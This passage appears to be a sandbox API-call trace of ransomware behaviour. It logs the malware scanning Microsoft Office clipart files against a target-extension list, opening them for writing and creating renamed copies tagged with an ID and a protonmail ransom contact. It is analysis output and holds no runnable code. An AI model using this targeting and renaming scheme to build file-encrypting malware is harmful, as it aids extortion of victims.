Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0256.054] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0256.054] lstrlenW (lpString=".doc") returned 4 [0256.054] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0256.054] lstrlenW (lpString=".docx") returned 5 [0256.054] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0256.054] lstrlenW (lpString=".pdf") returned 4 [0256.054] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0256.054] lstrlenW (lpString=".xls") returned 4 [0256.054] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0256.054] lstrlenW (lpString=".xlsx") returned 5 [0256.055] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0256.055] lstrlenW (lpString=".ppt") returned 4 [0256.055] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0256.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0256.055] lstrlenW (lpString=".zip") returned 4 [0256.055] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0256.055] lstrlenW (lpString=".rar") returned 4 [0256.055] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0256.055] lstrlenW (lpString=".bz2") returned 4 [0256.055] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0256.055] lstrlenW (lpString=".7z") returned 3 [0256.055] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0256.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0256.055] lstrlenW (lpString=".dbf") returned 4 [0256.055] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0256.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0256.055] lstrlenW (lpString=".1cd") returned 4 [0256.055] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0256.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0256.055] lstrlenW (lpString=".jpg") returned 4 [0256.055] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0256.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0256.055] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0256.056] lstrlenW (lpString=".doc") returned 4 [0256.056] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0256.056] lstrlenW (lpString=".docx") returned 5 [0256.056] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0256.056] lstrlenW (lpString=".pdf") returned 4 [0256.056] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0256.056] lstrlenW (lpString=".xls") returned 4 [0256.056] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0256.056] lstrlenW (lpString=".xlsx") returned 5 [0256.056] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0256.056] lstrlenW (lpString=".ppt") returned 4 [0256.056] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0256.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0256.056] lstrlenW (lpString=".zip") returned 4 [0256.056] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0256.056] lstrlenW (lpString=".rar") returned 4 [0256.056] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0256.056] lstrlenW (lpString=".bz2") returned 4 [0256.056] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0256.056] lstrlenW (lpString=".7z") returned 3 [0256.056] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0256.056] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0256.056] lstrlenW (lpString=".dbf") returned 4 [0256.056] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0256.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0256.057] lstrlenW (lpString=".1cd") returned 4 [0256.057] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0256.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384885.JPG") returned 68 [0256.057] lstrlenW (lpString=".jpg") returned 4 [0256.057] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0256.057] lstrcmpiW (lpString1=".JPG", lpString2=".com") returned 1 [0256.057] lstrlenW (lpString="J0384888.JPG") returned 12 [0256.057] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384888.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x126c [0256.058] GetFileSizeEx (in: hFile=0x126c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=81971) returned 1 [0256.058] CloseHandle (hObject=0x126c) returned 1 [0256.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384888.jpg")) returned 0x220 [0256.058] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384888.jpg.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0256.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384888.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x126c [0256.059] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.059] SetFilePointerEx (in: hFile=0x126c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0384888.jpg.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.059] CloseHandle (hObject=0x126c) returned 1 [0256.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG") returned 68 [0256.059] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG") returned 68 [0256.060] lstrlenW (lpString=".doc") returned 4 [0256.060] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0256.060] lstrlenW (lpString=".docx") returned 5 [0256.060] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0256.060] lstrlenW (lpString=".pdf") returned 4 [0256.060] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0256.060] lstrlenW (lpString=".xls") returned 4 [0256.060] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0256.060] lstrlenW (lpString=".xlsx") returned 5 [0256.060] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0256.060] lstrlenW (lpString=".ppt") returned 4 [0256.060] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0256.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG") returned 68 [0256.060] lstrlenW (lpString=".zip") returned 4 [0256.060] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0256.060] lstrlenW (lpString=".rar") returned 4 [0256.060] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0256.060] lstrlenW (lpString=".bz2") returned 4 [0256.060] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0256.060] lstrlenW (lpString=".7z") returned 3 [0256.060] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0256.060] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG") returned 68 [0256.060] lstrlenW (lpString=".dbf") returned 4 [0256.061] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0256.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG") returned 68 [0256.061] lstrlenW (lpString=".1cd") returned 4 [0256.061] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0256.061] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG") returned 68 [0256.061] lstrlenW (lpString=".jpg") returned 4 [0256.061] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0256.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG") returned 68 [0256.611] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG") returned 68 [0256.611] lstrlenW (lpString=".doc") returned 4 [0256.612] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0256.612] lstrlenW (lpString=".docx") returned 5 [0256.612] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1 [0256.612] lstrlenW (lpString=".pdf") returned 4 [0256.612] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0256.612] lstrlenW (lpString=".xls") returned 4 [0256.612] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0256.612] lstrlenW (lpString=".xlsx") returned 5 [0256.612] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1 [0256.612] lstrlenW (lpString=".ppt") returned 4 [0256.612] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0256.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG") returned 68 [0256.612] lstrlenW (lpString=".zip") returned 4 [0256.612] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0256.612] lstrlenW (lpString=".rar") returned 4 [0256.612] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0256.613] lstrlenW (lpString=".bz2") returned 4 [0256.613] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0256.613] lstrlenW (lpString=".7z") returned 3 [0256.613] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0256.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG") returned 68 [0256.613] lstrlenW (lpString=".dbf") returned 4 [0256.613] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0256.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG") returned 68 [0256.613] lstrlenW (lpString=".1cd") returned 4 [0256.613] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0256.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0384888.JPG") returned 68 [0256.613] lstrlenW (lpString=".jpg") returned 4 [0256.613] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0256.613] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0256.614] lstrlenW (lpString="NA00458_.WMF") returned 12 [0256.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00458_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1280 [0256.615] GetFileSizeEx (in: hFile=0x1280, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=10148) returned 1 [0256.615] CloseHandle (hObject=0x1280) returned 1 [0256.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00458_.wmf")) returned 0x220 [0256.616] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00458_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0256.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00458_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1280 [0256.616] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.616] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00458_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.618] CloseHandle (hObject=0x1280) returned 1 [0256.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0256.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0256.618] lstrlenW (lpString=".doc") returned 4 [0256.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.618] lstrlenW (lpString=".docx") returned 5 [0256.618] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.618] lstrlenW (lpString=".pdf") returned 4 [0256.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.618] lstrlenW (lpString=".xls") returned 4 [0256.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.619] lstrlenW (lpString=".xlsx") returned 5 [0256.619] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.619] lstrlenW (lpString=".ppt") returned 4 [0256.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0256.619] lstrlenW (lpString=".zip") returned 4 [0256.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.619] lstrlenW (lpString=".rar") returned 4 [0256.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.619] lstrlenW (lpString=".bz2") returned 4 [0256.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.619] lstrlenW (lpString=".7z") returned 3 [0256.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0256.619] lstrlenW (lpString=".dbf") returned 4 [0256.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0256.619] lstrlenW (lpString=".1cd") returned 4 [0256.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0256.620] lstrlenW (lpString=".jpg") returned 4 [0256.620] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0256.620] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0256.620] lstrlenW (lpString=".doc") returned 4 [0256.620] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.620] lstrlenW (lpString=".docx") returned 5 [0256.620] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.620] lstrlenW (lpString=".pdf") returned 4 [0256.620] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.620] lstrlenW (lpString=".xls") returned 4 [0256.620] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.620] lstrlenW (lpString=".xlsx") returned 5 [0256.620] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.620] lstrlenW (lpString=".ppt") returned 4 [0256.620] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0256.621] lstrlenW (lpString=".zip") returned 4 [0256.621] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.621] lstrlenW (lpString=".rar") returned 4 [0256.621] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.621] lstrlenW (lpString=".bz2") returned 4 [0256.621] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.621] lstrlenW (lpString=".7z") returned 3 [0256.621] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0256.621] lstrlenW (lpString=".dbf") returned 4 [0256.621] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0256.621] lstrlenW (lpString=".1cd") returned 4 [0256.622] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00458_.WMF") returned 68 [0256.622] lstrlenW (lpString=".jpg") returned 4 [0256.622] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.622] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0256.622] lstrlenW (lpString="NA00462_.WMF") returned 12 [0256.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00462_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1280 [0256.623] GetFileSizeEx (in: hFile=0x1280, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=20332) returned 1 [0256.623] CloseHandle (hObject=0x1280) returned 1 [0256.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00462_.wmf")) returned 0x220 [0256.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00462_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0256.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00462_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1280 [0256.627] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.627] SetFilePointerEx (in: hFile=0x1280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0256.627] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00462_.wmf.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0256.627] CloseHandle (hObject=0x1280) returned 1 [0256.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF") returned 68 [0256.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF") returned 68 [0256.628] lstrlenW (lpString=".doc") returned 4 [0256.628] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.628] lstrlenW (lpString=".docx") returned 5 [0256.628] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.628] lstrlenW (lpString=".pdf") returned 4 [0256.628] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.628] lstrlenW (lpString=".xls") returned 4 [0256.628] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.628] lstrlenW (lpString=".xlsx") returned 5 [0256.628] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.628] lstrlenW (lpString=".ppt") returned 4 [0256.628] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF") returned 68 [0256.628] lstrlenW (lpString=".zip") returned 4 [0256.628] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.628] lstrlenW (lpString=".rar") returned 4 [0256.628] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.629] lstrlenW (lpString=".bz2") returned 4 [0256.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.629] lstrlenW (lpString=".7z") returned 3 [0256.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF") returned 68 [0256.629] lstrlenW (lpString=".dbf") returned 4 [0256.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF") returned 68 [0256.629] lstrlenW (lpString=".1cd") returned 4 [0256.629] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF") returned 68 [0256.629] lstrlenW (lpString=".jpg") returned 4 [0256.629] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF") returned 68 [0256.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF") returned 68 [0256.629] lstrlenW (lpString=".doc") returned 4 [0256.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0256.629] lstrlenW (lpString=".docx") returned 5 [0256.630] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0256.630] lstrlenW (lpString=".pdf") returned 4 [0256.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0256.630] lstrlenW (lpString=".xls") returned 4 [0256.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0256.630] lstrlenW (lpString=".xlsx") returned 5 [0256.630] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0256.630] lstrlenW (lpString=".ppt") returned 4 [0256.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0256.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF") returned 68 [0256.630] lstrlenW (lpString=".zip") returned 4 [0256.631] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0256.631] lstrlenW (lpString=".rar") returned 4 [0256.631] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0256.631] lstrlenW (lpString=".bz2") returned 4 [0256.631] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0256.631] lstrlenW (lpString=".7z") returned 3 [0256.631] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0256.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF") returned 68 [0256.631] lstrlenW (lpString=".dbf") returned 4 [0256.631] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0256.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF") returned 68 [0256.631] lstrlenW (lpString=".1cd") returned 4 [0256.631] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0256.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00462_.WMF") returned 68 [0256.631] lstrlenW (lpString=".jpg") returned 4 [0256.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0256.632] lstrcmpiW (lpString1=".WMF", lpString2=".com") returned 1 [0256.632] lstrlenW (lpString="NA00487_.WMF") returned 12 [0256.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00487_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1280 [0256.633] GetFileSizeEx (in: hFile=0x1280, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=3088) returned 1 [0256.633] CloseHandle (hObject=0x1280) returned 1 [0256.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00487_.wmf")) returned 0x220 [0256.633] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00487_.wmf.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0256.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00487_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00487_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 